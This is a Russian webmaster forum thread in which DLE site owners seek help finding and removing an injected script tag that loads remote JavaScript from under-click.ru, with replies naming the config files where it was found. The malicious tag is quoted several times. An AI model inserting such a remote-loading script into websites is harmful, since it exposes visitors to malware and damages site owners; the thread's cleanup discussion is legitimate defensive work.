Скрытый код на сайте помогите найти?

[-denver]

Всем привет, у меня такая проблема, у меня на сайте DLE движек сидит скрытый код вот этот
under-click.ru а скорей всего установлено вот этот скрипт

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.ru/js/if.php?id=5443"></script>

всё облазил, а найти его не могу, помогите?

 

[Шейла]

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.ru/js/if.php?id=5443"></script>

Ты в сорсах у себя это видиш?

 

[-denver]

Ты в сорсах у себя это видиш?

в мозиле дополнение есть где ява скрипты разрешать, вот там когда сайт открываешь, он просит разрешить under-click.ru этот скрипт

Добавлено через 1 минуту
в вебмастере яндекс пишет сообщение что зловредный код где то на сайте и посешение упало на 1000 чел

 

[Шейла]

Уважаемый вас поломали или шел всунули или .....

В сорсы вашего двигла именно двигла вставлен именно этот код.

<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.ru/js/if.php?id=5443"></script>

Сам скрипт находится по линку h9tp://under-click.ru/js/if.php?id=5443

Можеш абузу накатать в under-click.ru что юзер с ID 5443 занимается ломом, хотя это может быть и не он, а его "хороший друг"

DLE мне не знаком где точно смотреть не скажу, спроси у длешников.
Можеш по *.php файлам на хостинге поискать этот код.

 

[zm8]

Всем привет, у меня такая проблема, у меня на сайте DLE движек сидит скрытый код вот этот
under-click.ru а скорей всего установлено вот этот скрипт
<script language="JavaScript" charset="windows-1251" rel="nofollow" src="http://under-click.ru/js/if.php?id=5443"></script>
всё облазил, а найти его не могу, помогите?

Была такая же фигня на нескольких моих DLE сайтах. Такой же код от under-click.ru

Ищи его в файле engine/data/config.php (внизу файла)

Хостинг случайно не firstvds.ru ?

 

[-denver]

нет, хостинг 7 dns.ru

Добавлено через 3 минуты

Была такая же фигня на нескольких моих DLE сайтах. Такой же код от under-click.ru
Ищи его в файле engine/data/config.php (внизу файла)
Хостинг случайно не firstvds.ru ?

нет, здесь нету, может еще кто поможет, может у кого было такое?

 

[X_kom]

только что тоже удалил код under-click'а. всунули код в dbconfig.php

 

[mdss]

скачай все файлы да поиском пройдись, проблема то

 

[CheburatoR-all]

engine/engine.php -> $head както так. Ищи тут